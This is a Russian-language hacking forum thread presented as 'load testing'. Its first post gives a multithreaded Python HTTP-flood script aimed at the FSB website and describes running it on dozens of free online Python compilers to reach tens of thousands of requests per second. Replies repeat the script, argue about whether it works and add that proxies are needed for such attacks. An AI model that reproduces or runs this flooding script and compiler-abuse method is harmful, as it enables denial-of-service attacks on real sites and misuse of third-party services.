Заметка Нагрузочное тестирование (DDoS)

Темы, которые НЕ подходят по объему под префикс "Статья"
Здравствуйте!

Недавно я захотел создать свою Botnet-сеть для нагрузочного тестирования, но вспомнил, что у меня мало устройств для нормальной нагрузки на сайт.

Тогда я начал импровизировать - написал простой python код, который создаст несколько потоков и будет слать get запросы n-ое число секунд:
Python:
from threading import Thread
from requests import get
from time import sleep
def ddos(http):
    try:
        print("+")
        while True:
            get(http)
    except:
        print("-")
http = "https://fsb.ru/" # Указываем сайт
repeats = 888 # Кол-во потоков
try:
    for i in range(repeats):
        Thread(target=ddos, args=(http,)).start()
except:
    print("[-] You selected too many repeats")
sleep(100) # Секунд, за которые будут отправляться запросы на сайт
print("stopping...")
P.S. Скоро добавлю смену User Agent и Proxy

Допустим есть такая программа.... Но вот проблема, если будет мало устройств (у меня только 1 ноутбук, 2 малины и 1 мини-компьютер) , то такой нагрузки не хватит, чтобы в достаточной мере создать нагрузку на сайт.

Недавно я нашел такие сайты:
Код:
https://rextester.com/l/python3_online_compiler
https://trinket.io/features/python3
http://hint.h1n.ru/python3-online/
https://www.codabrainy.com/en/python-compiler/
https://www.online-python.com/
И т.д.
На этих сайтах можно выполнять python3 код без серьезных ограничений, как раз такие сайты я и взял для атак. Вставляю там свою программу и выбираю максимальное рабочее кол-во потоков "методом проб и ошибок". Найдя 30-40 таких сайтов, можно получить нагрузку на 14000-30000 запросов в секунду. Единственная сложность - оптимизация, т.к. сложно разрабатывать сразу под 25+ разных api.

Строго не судите, это моя первая статья. :)

Всем спасибо за внимание!
j0ffer
 

Legion199720

Member
13.06.2019
7
0
BIT
0
Здравствуйте!

Недавно я захотел создать свою Botnet-сеть для нагрузочного тестирования, но вспомнил, что у меня мало устройств для нормальной нагрузки на сайт.

Тогда я начал импровизировать - написал простой python код, который создаст несколько потоков и будет слать get запросы n-ое число секунд:
Python:
from threading import Thread
from requests import get
from time import sleep
def ddos(http):
    try:
        print("+")
        while True:
            get(http)
    except:
        print("-")
http = "https://fsb.ru/" # Указываем сайт
repeats = 888 # Кол-во потоков
try:
    for i in range(repeats):
        Thread(target=ddos, args=(http,)).start()
except:
    print("[-] You selected too many repeats")
sleep(100) # Секунд, за которые будут отправляться запросы на сайт
print("stopping...")
P.S. Скоро добавлю смену User Agent и Proxy

Допустим есть такая программа.... Но вот проблема, если будет мало устройств (у меня только 1 ноутбук, 2 малины и 1 мини-компьютер) , то такой нагрузки не хватит, чтобы в достаточной мере создать нагрузку на сайт.

Недавно я нашел такие сайты:
Код:
https://rextester.com/l/python3_online_compiler
https://trinket.io/features/python3
http://hint.h1n.ru/python3-online/
https://www.codabrainy.com/en/python-compiler/
https://www.online-python.com/
И т.д.
На этих сайтах можно выполнять python3 код без серьезных ограничений, как раз такие сайты я и взял для атак. Вставляю там свою программу и выбираю максимальное рабочее кол-во потоков "методом проб и ошибок". Найдя 30-40 таких сайтов, можно получить нагрузку на 14000-30000 запросов в секунду. Единственная сложность - оптимизация, т.к. сложно разрабатывать сразу под 25+ разных api.

Строго не судите, это моя первая статья. :)

Всем спасибо за внимание!
j0ffer
Статья интересная )) Можно по подробнее в след. части...
 

КитоваяПанда

Заблокирован
20.04.2020
21
1
BIT
0
Python:
from threading import Thread
from requests import get
from time import sleep
def ddos(http):
    try:
        print("+")
        while True:
            get(http)
    except:
        print("-")
http = "https://fsb.ru/" # Указываем сайт
repeats = 888 # Кол-во потоков
try:
    for i in range(repeats):
        Thread(target=ddos, args=(http,)).start()
except:
    print("[-] You selected too many repeats")
sleep(100) # Секунд, за которые будут отправляться запросы на сайт
print("stopping...")

Это DDoS ?
Вы используете потоки в своём коде.
from threading import Thread
Потоки и процессы - понятия разные.
Несмотря на то, что количество потоков равно 888, выполняться они будут по очереди, а не параллельно друг другу.
Запросы либо не будут доходить до сайта-жертвы, а дошедшие никак не вызовут отказ в обслуживании.
То есть никакого толку от ваших потоков нет.

Ну и использование прокси - обязательно при написании таких скриптов.
 
  • Нравится
Реакции: TR1X

voven4ek

New member
10.04.2020
1
0
BIT
2
Python:
from threading import Thread
from requests import get
from time import sleep
def ddos(http):
    try:
        print("+")
        while True:
            get(http)
    except:
        print("-")
http = "https://fsb.ru/" # Указываем сайт
repeats = 888 # Кол-во потоков
try:
    for i in range(repeats):
        Thread(target=ddos, args=(http,)).start()
except:
    print("[-] You selected too many repeats")
sleep(100) # Секунд, за которые будут отправляться запросы на сайт
print("stopping...")

Это DDoS ?
Вы используете потоки в своём коде.
from threading import Thread
Потоки и процессы - понятия разные.
Несмотря на то, что количество потоков равно 888, выполняться они будут по очереди, а не параллельно друг другу.
Запросы либо не будут доходить до сайта-жертвы, а дошедшие никак не вызовут отказ в обслуживании.
То есть никакого толку от ваших потоков нет.

Ну и использование прокси - обязательно при написании таких скриптов.
Нет протесть потоки в python асинхронны
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!